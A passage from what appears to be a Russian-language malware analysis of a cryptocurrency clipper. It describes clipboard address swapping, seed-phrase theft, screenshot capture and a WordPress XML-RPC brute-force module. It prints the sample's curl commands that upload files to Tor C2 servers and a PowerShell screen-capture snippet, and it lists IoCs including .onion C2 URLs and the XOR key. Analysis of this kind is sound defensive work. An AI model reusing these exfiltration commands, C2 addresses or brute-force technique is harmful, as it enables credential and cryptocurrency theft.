open(dst, 'w', encoding='utf-8').write(out)
print('записано: %s' % dst)
if __name__ == '__main__':
main()Не буду здесь приводить деобфусцированный код из скриптов, они большие.
5.2 | 002_n.js - клиппер
5.2.1 | Подмена адресов
Читает буфер обмена (clipboardData.getData), определяет
тип адреса по первому символу и длине (firstChar,
bc1, проверки 0x22 и 0x5f),
выбирает из 002a.txt замену с подходящими символами
(mony_addrs, finalAddr, индексы
idx_1/idx_3) и подставляет обратно.
5.2.2 | Seed фразы
Команда SEED, словарь BIP-39 из
002w.txt.
5.2.3 | Screenshots
Через PowerShell:
$bmp = New-Object Drawing.Bitmap(...); $g.CopyFromScreen(...); $bmp.Save(...)
System.Windows.Forms / VirtualScreen / .png
5.2.4 | Recon
WMI-запросы
SELECT * FROM Win32_Process WHERE Name = '...', проверки на
taskmgr.exe и wscript.exe.
5.2.5 | C2
Все через собственный Tor (uusd.exe)
curl -f --connect-timeout 10 --socks5-hostname localhost:9050 "<url>"
curl -X POST -F "file=@<path>" --socks5-hostname localhost:9050 "<url>"
Параметры маяка: GUID, MGUID,
FLAG, GEIP, NAME,
data, version.
Команды от C2: SEED, REPL,
GOOD, UPDT,
EVAL. Последняя - произвольное выполнение,
то есть функциональность не ограничена клиппером.
Файлы состояния: crypto.inf, cinfo.inf.
TODO: описать протокол
route.phpподробнее - формат запроса и ответа, как кодируетсяdata. Сейчас разобрано по строкам, не по трафику.
На момент написания разбора С2 все еще работал:
5.3 | 002_b.js - брутфорсер WordPress
Второй модуль превращает нас в бота для брутфорса учеток WordPress через XML-RPC:
BRUTE_MAX_THREADS / BRUTE_MAX_ERRORS / BRUTE_DPWD_COUNT / BRUTE_STOR_TSIZE
brute_work / brute_traw / brute_tchk / brute_pwd_ / brute_dom_
xmlrpc / metaWeblog.newPost / <methodCall> / <methodName>
metaWeblog.newPost внутри system.multicall
- позволяет проверить много паролей одним HTTP-запросом, обходя
ограничения по частоте.
Задания приходят с C2 (brute_work), результаты
отправляются обратно. То есть у оператора два источника дохода с одного
заражения: кража крипты и ботнет для брута.
5.4 | uusd.exe
File type : PE64
File size : 8.57 MiB
Compiler : LLVM [LLD compiled] / MinGW [stripped]
Language : C/C++
Type : Console
Расшифровывается так же ( в PE много нулевых областей/code caves
(выравнивание секций), а 0x00 ^ key дает сам ключ - поэтому
самый частый байт в каждой колонке и есть байт ключа. Еще и можно легко
проверить по корректным MZ, e_lfanew,
PE\0\0 .
TODO: сверить SHA-256 с официальным
tor.exeсоответствующей версии и указать, сток это или локальная сборка (подозрения на сток, версия 0.4.8.12 2024 года)
TODO: найти конфигурацию Tor -
torrcлибо аргументы командной строки, а такжеgeoip/geoip6иDataDirectory
6 | Summary
sample.exe
\ bootloader
\ carchive с большим оверлеем
\ installer.pyc
\ campys.py
\ pyarmor_rt/
\ data_p002 xor-encrypted, key='zSItEBKDC2TD'
\ uusd.exe tor, socks5 127.0.0.1:9050, дефолт
\ 002.xml планировщик, wscript каждую минуту
\ 002w.txt словарь для кошельков
\ 002a.txt адреса автора
\ 002_n.js клиппер + seed + screenshots
\ 002_b.js ботнет для брутфорса WP по xmpRPC
\ pack.js дополнительный стаб , там 2 тор адреса
7 | IoCs
File:
SHA-256 93acfa3e1128452e59dbd9d479265747718cd7a37734ecfefee4c10e43b06dde
C2:
http://hek5ensy7wqqls2cafflihs7sdqr4dwxux47vp3k7pgffeasxsfeeyid.onion/route.php
http://swjxev2rvxfivi2wvkxre5vaxkjeepxzxva4u4ydm2qbkbakh6wnyead.onion/core/repla.php
FS:
C:\Users\Public\AccountPictures\<rng>\<rng>.js
%TEMP%\...\data_p002\
uusd.exe script.exe crypto.inf cinfo.inf 002a.txt 002w.txt
Persistence: Задача планировщика,
wscript.exe из
C:\Users\Public\AccountPictures\,
PT1M
Behavior: 1) wscript.exe как родитель
curl.exe с --socks5-hostname localhost:9050 2)
исходящее соединение на 127.0.0.1:9050 от процесса, который
не Tor Browser 3) задача планировщика с Duration =
PT99998H 4) powershell с
CopyFromScreen, запущенный из wscript
Ключ конфигов
XOR = "zSItEBKDC2TD"